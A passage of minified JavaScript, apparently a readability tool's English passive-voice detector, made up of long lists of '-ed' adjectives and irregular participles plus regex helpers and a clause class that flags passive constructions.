ectared","need","needleshaped","newfangled","newlywed","nibbed","nimblewitted","nippled","nixed","nobled","noduled","noised","nonaccented","nonactivated","nonadsorbed","nonadulterated","nonaerated","nonaffiliated","nonaliased","nonalienated","nonaligned","nonarchived","nonarmored","nonassociated","nonattenuated","nonblackened","nonbreastfed","nonbrecciated","nonbuffered","nonbuttered","noncarbonated","noncarbonized","noncatalogued","noncatalyzed","noncategorized","noncertified","nonchlorinated","nonciliated","noncircumcised","noncivilized","nonclassified","noncoated","noncodified","noncoerced","noncommercialized","noncommissioned","noncompacted","noncompiled","noncomplicated","noncomposed","noncomputed","noncomputerized","nonconcerted","nonconditioned","nonconfirmed","noncongested","nonconjugated","noncooled","noncorrugated","noncoupled","noncreated","noncrowded","noncultured","noncurated","noncushioned","nondecoded","nondecomposed","nondedicated","nondeferred","nondeflated","nondegenerated","nondegraded","nondelegated","nondelimited","nondelineated","nondemarcated","nondeodorized","nondeployed","nonderivatized","nonderived","nondetached","nondetailed","nondifferentiated","nondigested","nondigitized","nondilapidated","nondilated","nondimensionalised","nondimensionalized","nondirected","nondisabled","nondisciplined","nondispersed","nondisputed","nondisqualified","nondisrupted","nondisseminated","nondissipated","nondissolved","nondistressed","nondistributed","nondiversified","nondiverted","nondocumented","nondomesticated","nondoped","nondrafted","nondrugged","nondubbed","nonducted","nonearthed","noneclipsed","nonedged","nonedited","nonelasticized","nonelectrified","nonelectroplated","nonelectroporated","nonelevated","noneliminated","nonelongated","nonembedded","nonembodied","nonemphasized","nonencapsulated","nonencoded","nonencrypted","nonendangered","nonengraved","nonenlarged","nonenriched","nonentangled","nonentrenched","nonepithelized","nonequilibrated","nonestablished","nonetched","nonethoxylated","nonethylated","nonetiolated","nonexaggerated","nonexcavated","nonexhausted","nonexperienced","nonexpired","nonfabricated","nonfalsified","nonfeathered","nonfeatured","nonfed","nonfederated","nonfeed","nonfenestrated","nonfertilized","nonfilamented","nonfinanced","nonfinished","nonfinned","nonfissured","nonflagellated","nonflagged","nonflared","nonflavored","nonfluidized","nonfluorinated","nonfluted","nonforested","nonformalized","nonformatted","nonfragmented","nonfragranced","nonfranchised","nonfreckled","nonfueled","nonfumigated","nonfunctionalized","nonfunded","nongalvanized","nongated","nongelatinized","nongendered","nongeneralized","nongenerated","nongifted","nonglazed","nonglucosated","nonglucosylated","nonglycerinated","nongraded","nongrounded","nonhalogenated","nonhandicapped","nonhospitalised","nonhospitalized","nonhydrated","nonincorporated","nonindexed","noninfected","noninfested","noninitialized","noninitiated","noninoculated","noninseminated","noninstitutionalized","noninsured","nonintensified","noninterlaced","noninterpreted","nonintroverted","noninvestigated","noninvolved","nonirrigated","nonisolated","nonisomerized","nonissued","nonitalicized","nonitemized","noniterated","nonjaded","nonlabelled","nonlaminated","nonlateralized","nonlayered","nonlegalized","nonlegislated","nonlesioned","nonlexicalized","nonliberated","nonlichenized","nonlighted","nonlignified","nonlimited","nonlinearized","nonlinked","nonlobed","nonlobotomized","nonlocalized","nonlysed","nonmachined","nonmalnourished","nonmandated","nonmarginalized","nonmassaged","nonmatriculated","nonmatted","nonmatured","nonmechanized","nonmedicated","nonmedullated","nonmentioned","nonmetabolized","nonmetallized","nonmetastasized","nonmetered","nonmethoxylated","nonmilled","nonmineralized","nonmirrored","nonmodeled","nonmoderated","nonmodified","nonmonetized","nonmonitored","nonmortgaged","nonmotorized","nonmottled","nonmounted","nonmultithreaded","nonmutilated","nonmyelinated","nonnormalized","nonnucleated","nonobjectified","nonobligated","nonoccupied","nonoiled","nonopinionated","nonoxygenated","nonpaginated","nonpaired","nonparalyzed","nonparameterized","nonparasitized","nonpasteurized","nonpatterned","nonphased","nonphosphatized","nonphosphorized","nonpierced","nonpigmented","nonpiloted","nonpipelined","nonpitted","nonplussed","nonpuffed","nonrandomized","nonrated","nonrefined","nonregistered","nonregulated","nonrelated","nonretarded","nonsacred","nonsalaried","nonsanctioned","nonsaturated","nonscented","nonscheduled","nonseasoned","nonsecluded","nonsegmented","nonsegregated","nonselected","nonsolidified","nonspecialized","nonspored","nonstandardised","nonstandardized","nonstratified","nonstressed","nonstriated","nonstriped","nonstructured","nonstylised","nonstylized","nonsubmerged","nonsubscripted","nonsubsidised","nonsubsidized","nonsubstituted","nonsyndicated","nonsynthesised","nontabulated","nontalented","nonthreaded","nontinted","nontolerated","nontranslated","nontunnelled","nonunified","nonunionised","nonupholstered","nonutilised","nonutilized","nonvalued","nonvaried","nonverbalized","nonvitrified","nonvolatilised","nonvolatilized","normed","nosebleed","notated","notified","nuanced","nullified","numerated","oarweed","objectified","obliqued","obtunded","occupied","octupled","odored","oilseed","oinked","oldfashioned","onesided","oophorectomized","opaqued","openhearted","openminded","openmouthed","opiated","opinionated","oracled","oreweed","ossified","outbreed","outmoded","outrigged","outriggered","outsized","outskated","outspeed","outtopped","outtrumped","outvoiced","outweed","ovated","overadorned","overaged","overalled","overassured","overbred","overbreed","overcomplicated","overdamped","overdetailed","overdiversified","overdyed","overequipped","overfatigued","overfed","overfeed","overindebted","overintensified","overinventoried","overmagnified","overmodified","overpreoccupied","overprivileged","overproportionated","overqualified","overseed","oversexed","oversimplified","oversized","oversophisticated","overstudied","oversulfated","ovicelled","ovoidshaped","ozonated","pacified","packeted","palatalized","paled","palsied","paned","panicled","parabled","parallelepiped","parallelized","parallelopiped","parenthesised","parodied","parqueted","passioned","paunched","pauperised","pedigreed","pedimented","pedunculated","pegged","peglegged","penanced","pencilshaped","permineralized","personified","petrified","photodissociated","photoduplicated","photoed","photoinduced","photolysed","photolyzed","pied","pigeoned","pigtailed","pigweed","pilastered","pillared","pilloried","pimpled","pinealectomised","pinealectomized","pinfeathered","pinnacled","pinstriped","pixellated","pixilated","pixillated","plainclothed","plantarflexed","pled","plumaged","pocked","pokeweed","polychlorinated","polyunsaturated","ponytailed","pooched","poorspirited","popeyed","poppyseed","porcelainized","porched","poshed","pottered","poxed","preachified","precertified","preclassified","preconized","preinoculated","premed","prenotified","preoccupied","preposed","prequalified","preshaped","presignified","prespecified","prettified","pried","principled","proceed","prophesied","propounded","prosed","protonated","proudhearted","proxied","pulpified","pumpkinseed","puppied","purebred","pured","pureed","purified","pustuled","putrefied","pyjamaed","quadruped","qualified","quantified","quantised","quantized","quarried","queried","questoned","quicktempered","quickwitted","quiesced","quietened","quizzified","racemed","radiosensitised","ragweed","raindrenched","ramped","rapeseed","rarefied","rarified","ratified","razoredged","reaccelerated","reaccompanied","reachieved","reacknowledged","readdicted","readied","reamplified","reannealed","reassociated","rebadged","rebiopsied","recabled","recategorised","receipted","recentred","recertified","rechoreographed","reclarified","reclassified","reconferred","recrystalized","rectified","recursed","red","redblooded","redefied","redenied","rednecked","redshifted","redweed","redyed","reed","reembodied","reenlighted","refeed","refereed","reflexed","refortified","refronted","refuged","reglorified","reimpregnated","reinitialized","rejustified","related","reliquefied","remedied","remodified","remonetized","remythologized","renotified","renullified","renumerated","reoccupied","repacified","repurified","reputed","requalified","rescinded","reseed","reshoed","resolidified","resorbed","respecified","restudied","retabulated","reticulated","retinted","retreed","retroacted","reunified","reverified","revested","revivified","rewed","ridgepoled","riffled","rightminded","rigidified","rinded","riped","rited","ritualised","riverbed","rivered","roached","roadbed","robotised","robotized","romanized","rosetted","rosined","roughhearted","rubied","ruddied","runcinated","russeted","sabled","sabred","sabretoothed","sacheted","sacred","saddlebred","sainted","salaried","samoyed","sanctified","satellited","savvied","sawtoothed","scandalled","scarified","scarped","sceptred","scissored","screed","screwshaped","scrupled","sculked","scurried","scuttled","seabed","seaweed","seed","seedbed","selfassured","selforganized","semicivilized","semidetached","semidisassembled","semidomesticated","semipetrified","semipronated","semirefined","semivitrified","sentineled","sepaled","sepalled","sequinned","sexed","shagged","shaggycoated","shaggyhaired","shaled","shammed","sharpangled","sharpclawed","sharpcornered","sharpeared","sharpedged","sharpeyed","sharpflavored","sharplimbed","sharpnosed","sharpsighted","sharptailed","sharptongued","sharptoothed","sharpwitted","sharpworded","shed","shellbed","shieldshaped","shimmied","shinned","shirted","shirtsleeved","shoed","shortbeaked","shortbilled","shortbodied","shorthaired","shortlegged","shortlimbed","shortnecked","shortnosed","shortsighted","shortsleeved","shortsnouted","shortstaffed","shorttailed","shorttempered","shorttoed","shorttongued","shortwinded","shortwinged","shotted","shred","shrewsized","shrined","shrinkproofed","sickbed","sickleshaped","sickleweed","signalised","signified","silicified","siliconized","silkweed","siltsized","silvertongued","simpleminded","simplified","singlebarreled","singlebarrelled","singlebed","singlebladed","singlebreasted","singlecelled","singlefooted","singlelayered","singleminded","singleseeded","singleshelled","singlestranded","singlevalued","sissified","sistered","sixgilled","sixmembered","sixsided","sixstoried","skulled","slickered","slipcased","slowpaced","slowwitted","slurried","smallminded","smoothened","smoothtongued","snaggletoothed","snouted","snowballed","snowcapped","snowshed","snowshoed","snubnosed","so-called","sofabed","softhearted","sogged","soled","solidified","soliped","sorbed","souled","spearshaped","specified","spectacled","sped","speeched","speechified","speed","spied","spiffied","spindleshaped","spiritualised","spirted","splayfooted","spoonfed","spoonfeed","spoonshaped","spreadeagled","squarejawed","squareshaped","squareshouldered","squaretoed","squeegeed","staled","starshaped","starspangled","starstudded","statechartered","statesponsored","statued","steadied","steampowered","steed","steelhearted","steepled","sterned","stiffnecked","stilettoed","stimied","stinkweed","stirrupshaped","stockinged","storeyed","storied","stouthearted","straitlaced","stratified","strawberryflavored","streambed","stressinduced","stretchered","strictured","strongbodied","strongboned","strongflavored","stronghearted","stronglimbed","strongminded","strongscented","strongwilled","stubbled","studied","stultified","stupefied","styed","stymied","subclassified","subcommissioned","subminiaturised","subsaturated","subulated","suburbanised","suburbanized","suburbed","succeed","sueded","sugarrelated","sulfurized","sunbed","superhardened","superinfected","supersimplified","surefooted","sweetscented","swifted","swordshaped","syllabified","syphilized","tabularized","talented","tarpapered","tautomerized","teated","teed","teenaged","teetotaled","tenderhearted","tentacled","tenured","termed","ternated","testbed","testified","theatricalised","theatricalized","themed","thicketed","thickskinned","thickwalled","thighed","thimbled","thimblewitted","thonged","thoroughbred","thralled","threated","throated","throughbred","thyroidectomised","thyroidectomized","tiaraed","ticktocked","tidied","tightassed","tightfisted","tightlipped","timehonoured","tindered","tined","tinselled","tippytoed","tiptoed","titled","toed","tomahawked","tonged","toolshed","toothplated","toplighted","torchlighted","toughhearted","traditionalized","trajected","tranced","transgendered","transliterated","translocated","transmogrified","treadled","treed","treelined","tressed","trialled","triangled","trifoliated","trifoliolated","trilobed","trucklebed","truehearted","trumpetshaped","trumpetweed","tuberculated","tumbleweed","tunnelshaped","turbaned","turreted","turtlenecked","tuskshaped","tweed","twigged","typified","ulcered","ultracivilised","ultracivilized","ultracooled","ultradignified","ultradispersed","ultrafiltered","ultrared","ultrasimplified","ultrasophisticated","unabandoned","unabashed","unabbreviated","unabetted","unabolished","unaborted","unabraded","unabridged","unabsolved","unabsorbed","unaccelerated","unaccented","unaccentuated","unacclimatised","unacclimatized","unaccompanied","unaccomplished","unaccosted","unaccredited","unaccrued","unaccumulated","unaccustomed","unacidulated","unacquainted","unacquitted","unactivated","unactuated","unadapted","unaddicted","unadjourned","unadjudicated","unadjusted","unadmonished","unadopted","unadored","unadorned","unadsorbed","unadulterated","unadvertised","unaerated","unaffiliated","unaggregated","unagitated","unaimed","unaired","unaliased","unalienated","unaligned","unallocated","unalloyed","unalphabetized","unamassed","unamortized","unamplified","unanaesthetised","unanaesthetized","unaneled","unanesthetised","unanesthetized","unangered","unannealed","unannexed","unannihilated","unannotated","unanointed","unanticipated","unappareled","unappendaged","unapportioned","unapprenticed","unapproached","unappropriated","unarbitrated","unarched","unarchived","unarmored","unarmoured","unarticulated","unascertained","unashamed","unaspirated","unassembled","unasserted","unassessed","unassociated","unassorted","unassuaged","unastonished","unastounded","unatoned","unattained","unattainted","unattenuated","unattributed","unauctioned","unaudited","unauthenticated","unautographed","unaverted","unawaked","unawakened","unawarded","unawed","unbaffled","unbaited","unbalconied","unbanded","unbanished","unbaptised","unbaptized","unbarreled","unbarrelled","unbattered","unbeaded","unbearded","unbeneficed","unbesotted","unbetrayed","unbetrothed","unbiased","unbiassed","unbigoted","unbilled","unblackened","unblanketed","unblasphemed","unblazoned","unblistered","unblockaded","unbloodied","unbodied","unbonded","unbothered","unbounded","unbracketed","unbranded","unbreaded","unbrewed","unbridged","unbridled","unbroached","unbudgeted","unbuffed","unbuffered","unburnished","unbutchered","unbuttered","uncached","uncaked","uncalcified","uncalibrated","uncamouflaged","uncamphorated","uncanceled","uncancelled","uncapitalized","uncarbonated","uncarpeted","uncased","uncashed","uncastrated","uncatalogued","uncatalysed","uncatalyzed","uncategorised","uncatered","uncaulked","uncelebrated","uncensored","uncensured","uncertified","unchambered","unchanneled","unchannelled","unchaperoned","uncharacterized","uncharted","unchartered","unchastened","unchastised","unchelated","uncherished","unchilled","unchristened","unchronicled","uncircumcised","uncircumscribed","uncited","uncivilised","uncivilized","unclarified","unclassed","unclassified","uncleaved","unclimbed","unclustered","uncluttered","uncoagulated","uncoded","uncodified","uncoerced","uncoined","uncollapsed","uncollated","uncolonised","uncolonized","uncolumned","uncombined","uncommented","uncommercialised","uncommercialized","uncommissioned","uncommitted","uncompacted","uncompartmentalized","uncompartmented","uncompensated","uncompiled","uncomplicated","uncompounded","uncomprehened","uncomputed","unconcealed","unconceded","unconcluded","uncondensed","unconditioned","unconfined","unconfirmed","uncongested","unconglomerated","uncongratulated","unconjugated","unconquered","unconsecrated","unconsoled","unconsolidated","unconstipated","unconstricted","unconstructed","unconsumed","uncontacted","uncontracted","uncontradicted","uncontrived","unconverted","unconveyed","unconvicted","uncooked","uncooled","uncoordinated","uncopyrighted","uncored","uncorrelated","uncorroborated","uncosted","uncounseled","uncounselled","uncounterfeited","uncoveted","uncrafted","uncramped","uncrannied","uncrazed","uncreamed","uncreased","uncreated","uncredentialled","uncredited","uncrested","uncrevassed","uncrippled","uncriticised","uncriticized","uncropped","uncrosslinked","uncrowded","uncrucified","uncrumbled","uncrystalized","uncrystallised","uncrystallized","uncubed","uncuddled","uncued","unculled","uncultivated","uncultured","uncupped","uncurated","uncurbed","uncurried","uncurtained","uncushioned","undamped","undampened","undappled","undarkened","undated","undaubed","undazzled","undeadened","undeafened","undebated","undebunked","undeceased","undecimalized","undeciphered","undecked","undeclared","undecomposed","undeconstructed","undedicated","undefeated","undeferred","undefied","undefined","undeflected","undefrauded","undefrayed","undegassed","undejected","undelegated","undeleted","undelimited","undelineated","undemented","undemolished","undemonstrated","undenatured","undenied","undented","undeodorized","undepicted","undeputized","underaged","underarmed","underassessed","underbred","underbudgeted","undercapitalised","undercapitalized","underdiagnosed","underdocumented","underequipped","underexploited","underexplored","underfed","underfeed","underfurnished","undergoverned","undergrazed","underinflated","underinsured","underinvested","underived","undermaintained","undermentioned","undermotivated","underperceived","underpowered","underprivileged","underqualified","underrehearsed","underresourced","underripened","undersaturated","undersexed","undersized","underspecified","understaffed","understocked","understressed","understudied","underutilised","underventilated","undescaled","undesignated","undetached","undetailed","undetained","undeteriorated","undeterred","undetonated","undevised","undevoted","undevoured","undiagnosed","undialed","undialysed","undialyzed","undiapered","undiffracted","undigested","undignified","undiluted","undiminished","undimmed","undipped","undirected","undisciplined","undiscouraged","undiscussed","undisfigured","undisguised","undisinfected","undismayed","undisposed","undisproved","undisputed","undisrupted","undissembled","undissipated","undissociated","undissolved","undistilled","undistorted","undistracted","undistributed","undisturbed","undiversified","undiverted","undivulged","undoctored","undocumented","undomesticated","undosed","undramatised","undrilled","undrugged","undubbed","unduplicated","uneclipsed","unedged","unedited","unejaculated","unejected","unelaborated","unelapsed","unelected","unelectrified","unelevated","unelongated","unelucidated","unemaciated","unemancipated","unemasculated","unembalmed","unembed","unembellished","unembodied","unemboldened","unemerged","unenacted","unencoded","unencrypted","unencumbered","unendangered","unendorsed","unenergized","unenfranchised","unengraved","unenhanced","unenlarged","unenlivened","unenraptured","unenriched","unentangled","unentitled","unentombed","unentranced","unentwined","unenumerated","unenveloped","unenvied","unequaled","unequalised","unequalized","unequalled","unequipped","unerased","unerected","uneroded","unerupted","unescorted","unestablished","unevaluated","unexaggerated","unexampled","unexcavated","unexceeded","unexcelled","unexecuted","unexerted","unexhausted","unexpensed","unexperienced","unexpired","unexploited","unexplored","unexposed","unexpurgated","unextinguished","unfabricated","unfaceted","unfanned","unfashioned","unfathered","unfathomed","unfattened","unfavored","unfavoured","unfazed","unfeathered","unfed","unfeigned","unfermented","unfertilised","unfertilized","unfilleted","unfiltered","unfinished","unflavored","unflavoured","unflawed","unfledged","unfleshed","unflurried","unflushed","unflustered","unfluted","unfocussed","unforested","unformatted","unformulated","unfortified","unfractionated","unfractured","unfragmented","unfrequented","unfretted","unfrosted","unfueled","unfunded","unfurnished","ungarbed","ungarmented","ungarnished","ungeared","ungerminated","ungifted","unglazed","ungoverned","ungraded","ungrasped","ungratified","ungroomed","ungrounded","ungrouped","ungummed","ungusseted","unhabituated","unhampered","unhandicapped","unhardened","unharvested","unhasped","unhatched","unheralded","unhindered","unhomogenised","unhomogenized","unhonored","unhonoured","unhooded","unhusked","unhyphenated","unified","unillustrated","unimpacted","unimpaired","unimpassioned","unimpeached","unimpelled","unimplemented","unimpregnated","unimprisoned","unimpugned","unincorporated","unincubated","unincumbered","unindemnified","unindexed","unindicted","unindorsed","uninduced","unindustrialised","unindustrialized","uninebriated","uninfected","uninflated","uninflected","uninhabited","uninhibited","uninitialised","uninitialized","uninitiated","uninoculated","uninseminated","uninsulated","uninsured","uninterpreted","unintimidated","unintoxicated","unintroverted","uninucleated","uninverted","uninvested","uninvolved","unissued","unjaundiced","unjointed","unjustified","unkeyed","unkindled","unlabelled","unlacquered","unlamented","unlaminated","unlarded","unlaureled","unlaurelled","unleaded","unleavened","unled","unlettered","unlicenced","unlighted","unlimbered","unlimited","unlined","unlipped","unliquidated","unlithified","unlittered","unliveried","unlobed","unlocalised","unlocalized","unlocated","unlogged","unlubricated","unmagnified","unmailed","unmaimed","unmaintained","unmalted","unmangled","unmanifested","unmanipulated","unmannered","unmanufactured","unmapped","unmarred","unmastered","unmatriculated","unmechanised","unmechanized","unmediated","unmedicated","unmentioned","unmerged","unmerited","unmetabolised","unmetabolized","unmetamorphosed","unmethylated","unmineralized","unmitigated","unmoderated","unmodernised","unmodernized","unmodified","unmodulated","unmolded","unmolested","unmonitored","unmortgaged","unmotivated","unmotorised","unmotorized","unmounted","unmutated","unmutilated","unmyelinated","unnaturalised","unnaturalized","unnotched","unnourished","unobligated","unobstructed","unoccupied","unoiled","unopposed","unoptimised","unordained","unorganised","unorganized","unoriented","unoriginated","unornamented","unoxidized","unoxygenated","unpacified","unpackaged","unpaired","unparalleled","unparallelled","unparasitized","unpardoned","unparodied","unpartitioned","unpasteurised","unpasteurized","unpatented","unpaved","unpedigreed","unpenetrated","unpenned","unperfected","unperjured","unpersonalised","unpersuaded","unperturbed","unperverted","unpestered","unphosphorylated","unphotographed","unpigmented","unpiloted","unpledged","unploughed","unplumbed","unpoised","unpolarized","unpoliced","unpolled","unpopulated","unposed","unpowered","unprecedented","unpredicted","unprejudiced","unpremeditated","unprescribed","unpressurised","unpressurized","unpriced","unprimed","unprincipled","unprivileged","unprized","unprocessed","unprofaned","unprofessed","unprohibited","unprompted","unpronounced","unproposed","unprospected","unproved","unpruned","unpublicised","unpublicized","unpublished","unpuckered","unpunctuated","unpurified","unqualified","unquantified","unquenched","unquoted","unranked","unrated","unratified","unrebuked","unreckoned","unrecompensed","unreconciled","unreconstructed","unrectified","unredeemed","unrefined","unrefreshed","unrefrigerated","unregarded","unregimented","unregistered","unregulated","unrehearsed","unrelated","unrelieved","unrelinquished","unrenewed","unrented","unrepealed","unreplicated","unreprimanded","unrequited","unrespected","unrestricted","unretained","unretarded","unrevised","unrevived","unrevoked","unrifled","unripened","unrivaled","unrivalled","unroasted","unroofed","unrounded","unruffled","unsalaried","unsalted","unsanctified","unsanctioned","unsanded","unsaponified","unsated","unsatiated","unsatisfied","unsaturated","unscaled","unscarred","unscathed","unscented","unscheduled","unschooled","unscreened","unscripted","unseamed","unseared","unseasoned","unseeded","unsegmented","unsegregated","unselected","unserviced","unsexed","unshamed","unshaped","unsharpened","unsheared","unshielded","unshifted","unshirted","unshoed","unshuttered","unsifted","unsighted","unsilenced","unsimplified","unsized","unskewed","unskinned","unslaked","unsliced","unsloped","unsmoothed","unsoiled","unsoldered","unsolicited","unsolved","unsophisticated","unsorted","unsourced","unsoured","unspaced","unspanned","unspecialised","unspecialized","unspecified","unspiced","unstaged","unstandardised","unstandardized","unstapled","unstarched","unstarred","unstated","unsteadied","unstemmed","unsterilised","unsterilized","unstickered","unstiffened","unstifled","unstigmatised","unstigmatized","unstilted","unstippled","unstipulated","unstirred","unstocked","unstoked","unstoppered","unstratified","unstressed","unstriped","unstructured","unstudied","unstumped","unsubdued","unsubmitted","unsubsidised","unsubsidized","unsubstantiated","unsubstituted","unsugared","unsummarized","unsupervised","unsuprised","unsurveyed","unswayed","unsweetened","unsyllabled","unsymmetrized","unsynchronised","unsynchronized","unsyncopated","unsyndicated","unsynthesized","unsystematized","untagged","untainted","untalented","untanned","untaped","untapered","untargeted","untarnished","untattooed","untelevised","untempered","untenanted","unterminated","untextured","unthickened","unthinned","unthrashed","unthreaded","unthrottled","unticketed","untiled","untilled","untilted","untimbered","untinged","untinned","untinted","untitled","untoasted","untoggled","untoothed","untopped","untoughened","untracked","untrammeled","untrammelled","untranscribed","untransduced","untransferred","untranslated","untransmitted","untraumatized","untraversed","untufted","untuned","untutored","unupgraded","unupholstered","unutilised","unutilized","unuttered","unvaccinated","unvacuumed","unvalidated","unvalued","unvandalized","unvaned","unvanquished","unvapourised","unvapourized","unvaried","unvariegated","unvarnished","unvented","unventilated","unverbalised","unverbalized","unverified","unversed","unvetted","unvictimized","unviolated","unvitrified","unvocalized","unvoiced","unwaged","unwarped","unwarranted","unwaxed","unweakened","unweaned","unwearied","unweathered","unwebbed","unwed","unwedded","unweeded","unweighted","unwelded","unwinterized","unwired","unwitnessed","unwonted","unwooded","unworshipped","unwounded","unzoned","uprated","uprighted","upsized","upswelled","vacuolated","valanced","valueoriented","varied","vascularised","vascularized","vasectomised","vaunted","vectorised","vectorized","vegged","verdured","verified","vermiculated","vernacularized","versified","verticillated","vesiculated","vied","vilified","virtualised","vitrified","vivified","volumed","vulcanised","wabbled","wafered","waisted","walleyed","wared","warmblooded","warmhearted","warted","waterbased","waterbed","watercooled","watersaturated","watershed","wavegenerated","waxweed","weakhearted","weakkneed","weakminded","wearied","weatherised","weatherstriped","webfooted","wedgeshaped","weed","weeviled","welladapted","welladjusted","wellbred","wellconducted","welldefined","welldisposed","welldocumented","wellequipped","wellestablished","wellfavored","wellfed","wellgrounded","wellintentioned","wellmannered","wellminded","wellorganised","wellrounded","wellshaped","wellstructured","whinged","whinnied","whiplashed","whiskered","wholehearted","whorled","widebased","wideeyed","widemeshed","widemouthed","widenecked","widespaced","wilded","wildered","wildeyed","willinghearted","windspeed","winterfed","winterfeed","winterised","wirehaired","wised","witchweed","woaded","wombed","wooded","woodshed","wooled","woolled","woollyhaired","woollystemmed","woolyhaired","woolyminded","wormholed","wormshaped","wrappered","wretched","wronghearted","ycleped","yolked","zincified","zinckified","zinkified","zombified"],Z=["arisen","awoken","reawoken","babysat","backslid","backslidden","beat","beaten","become","begun","bent","unbent","bet","bid","outbid","rebid","underbid","overbid","bidden","bitten","blown","bought","overbought","bound","unbound","rebound","broadcast","rebroadcast","broken","brought","browbeat","browbeaten","built","prebuilt","rebuilt","overbuilt","burnt","burst","bust","cast","miscast","recast","caught","chosen","clung","come","overcome","cost","crept","cut","undercut","recut","daydreamt","dealt","misdealt","redealt","disproven","done","predone","outdone","misdone","redone","overdone","undone","drawn","outdrawn","redrawn","overdrawn","dreamt","driven","outdriven","drunk","outdrunk","overdrunk","dug","dwelt","eaten","overeaten","fallen","felt","fit","refit","retrofit","flown","outflown","flung","forbidden","forecast","foregone","foreseen","foretold","forgiven","forgotten","forsaken","fought","outfought","found","frostbitten","frozen","unfrozen","given","gone","undergone","gotten","ground","reground","grown","outgrown","regrown","had","handwritten","heard","reheard","misheard","overheard","held","hewn","hidden","unhidden","hit","hung","rehung","overhung","unhung","hurt","inlaid","input","interwound","interwoven","jerry-built","kept","knelt","knit","reknit","unknit","known","laid","mislaid","relaid","overlaid","lain","underlain","leant","leapt","outleapt","learnt","unlearnt","relearnt","mislearnt","left","lent","let","lip-read","lit","relit","lost","made","premade","remade","meant","met","mown","offset","paid","prepaid","repaid","overpaid","partaken","proofread","proven","put","quick-frozen","quit","read","misread","reread","retread","rewaken","rid","ridden","outridden","overridden","risen","roughcast","run","outrun","rerun","overrun","rung","said","sand-cast","sat","outsat","sawn","seen","overseen","sent","resent","set","preset","reset","misset","sewn","resewn","oversewn","unsewn","shaken","shat","shaven","shit","shone","outshone","shorn","shot","outshot","overshot","shown","shrunk","preshrunk","shut","sight-read","slain","slept","outslept","overslept","slid","slit","slung","unslung","slunk","smelt","outsmelt","snuck","sold","undersold","presold","outsold","resold","oversold","sought","sown","spat","spelt","misspelt","spent","underspent","outspent","misspent","overspent","spilt","overspilt","spit","split","spoilt","spoken","outspoken","misspoken","overspoken","spread","sprung","spun","unspun","stolen","stood","understood","misunderstood","strewn","stricken","stridden","striven","struck","strung","unstrung","stuck","unstuck","stung","stunk","sublet","sunburnt","sung","outsung","sunk","sweat","swept","swollen","sworn","outsworn","swum","outswum","swung","taken","undertaken","mistaken","retaken","overtaken","taught","mistaught","retaught","telecast","test-driven","test-flown","thought","outthought","rethought","overthought","thrown","outthrown","overthrown","thrust","told","retold","torn","retorn","trod","trodden","typecast","typeset","upheld","upset","waylaid","wept","wet","rewet","withdrawn","withheld","withstood","woken","won","rewon","worn","reworn","wound","rewound","overwound","unwound","woven","rewoven","unwoven","written","typewritten","underwritten","outwritten","miswritten","rewritten","overwritten","wrung"],{matchRegularParticiples:ee,getWords:de}=e.languageProcessing,{precedenceException:ne,directPrecedenceException:te,values:ie}=e.languageProcessing,re=ie.Clause;function ae(e){return(e=(e=(e=(e=e.replace(/\s{2,}/g," ")).replace(/\s\.$/,".")).replace(/^\s+|\s+$/g,"")).replace(/\s。/g,"。")).replace(/。\s/g,"。")}function ue(e,d=!1,n="",t=""){let i,r;return i="id"===t?'[ \\u00a0\\n\\r\\t.,()”“〝〞〟‟„"+;!¡?¿:/»«‹›'+n+"<>":'[ \\u00a0\\u2014\\u06d4\\u061f\\u060C\\u061B\\n\\r\\t.,()”“〝〞〟‟„"+\\-;!¡?¿:/»«‹›'+n+"<>",r=d?"($|((?="+i+"]))|((['‘’‛`])("+i+"])))":"($|("+i+"])|((['‘’‛`])("+i+"])))","(^|"+i+"'‘’‛`])"+e+r}const oe=[" ","\\n","\\r","\\t"," ","۔","؟","،","؛"," ",".",",","'","(",")",'"',"+","-",";","!","?",":","/","»","«","‹","›","<",">","”","“","〝","〞","〟","‟","„"],se=function(e){return(0,X.includes)(oe,e)};const le=function(e,d){let n=[];return(0,X.forEach)(e,(function(e){(function(e,d){e=e.toLocaleLowerCase(),d=d.toLocaleLowerCase();const n=ue((0,X.escapeRegExp)(e));let t=d.search(new RegExp(n,"ig"));if(-1===t)return!1;t>0&&(t+=1);const i=t+e.length,r=se(d[t-1])||0===t,a=se(d[i])||i===d.length;return r&&a})(e=ae(e),d)&&(n=n.concat(function(e,d){let n=0;const t=e.length;let i;const r=[];for(;(i=d.indexOf(e,n))>-1;){const a=se(d[i-1])||0===i,u=se(d[i+t])||d.length===i+t;a&&u&&r.push({index:i,match:e}),n=i+t}return r}(e,d)))})),n},{createRegexFromArray:ce,getClauses:he}=e.languageProcessing,pe={Clause:class extends re{constructor(e,d){super(e,d),this._participles=function(e){const d=de(e),n=[];return(0,X.forEach)(d,(function(e){(0!==ee(e,[/\w+ed($|[ \n\r\t.,'()"+\-;!?:/»«‹›<>])/gi]).length||(0,X.includes)(Z,e))&&n.push(e)})),n}(this.getClauseText()),this.checkParticiples()}checkParticiples(){const e=this.getClauseText(),d=this.getParticiples().filter((d=>!((0,X.includes)(Y,d)||this.hasRidException(d)||te(e,d,N)||ne(e,d,V))));this.setPassive(d.length>0)}hasRidException(e){if("rid"===e){const e=["get","gets","getting","got","gotten"];return!(0,X.isEmpty)((0,X.intersection)(e,this.getAuxiliaries()))}return!1}},stopwords:G,auxiliaries:r,ingExclusions:["king","cling","ring","being","thing","something","anything"],regexes:{auxiliaryRegex:ce(r),stopCharacterRegex:/([:,]|('ll)|('ve))(?=[ \n\r\t'"+\-»«‹›<>])/gi,verbEndingInIngRegex:/\w+ing(?=$|[ \n\r\t.,'()"+\-;!?:/»«‹›<>])/gi},otherStopWordIndices:[]};function me(e){return pe.otherStopWordIndices=function(e){let d=e.match(pe.regexes.verbEndingInIngRegex)||[];return d=d.filter((e=>!(0,X.includes)(pe.ingExclusions,ae(e)))),le(d,e)}(e),he(e,pe)}var ge=n(429),fe=n.n(ge);const be=["address","article","aside","blockquote","canvas","dd","div","dl","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","hr","li","main","nav","noscript","ol","output","p","pre","section","table","tfoot","ul","video"],we=["b","big","i","small","tt","abbr","acronym","cite","code","dfn","em","kbd","strong","samp","time","var","a","bdo","br","img","map","object","q","script","span","sub","sup","button","input","label","select","textarea"],ye=(new RegExp("^("+be.join("|")+")$","i"),new RegExp("^("+we.join("|")+")$","i"),new RegExp("^<("+be.join("|")+")[^>]*?>$","i")),ve=new RegExp("^</("+be.join("|")+")[^>]*?>$","i"),ze=new RegExp("^<("+we.join("|")+")[^>]*>$","i"),ke=new 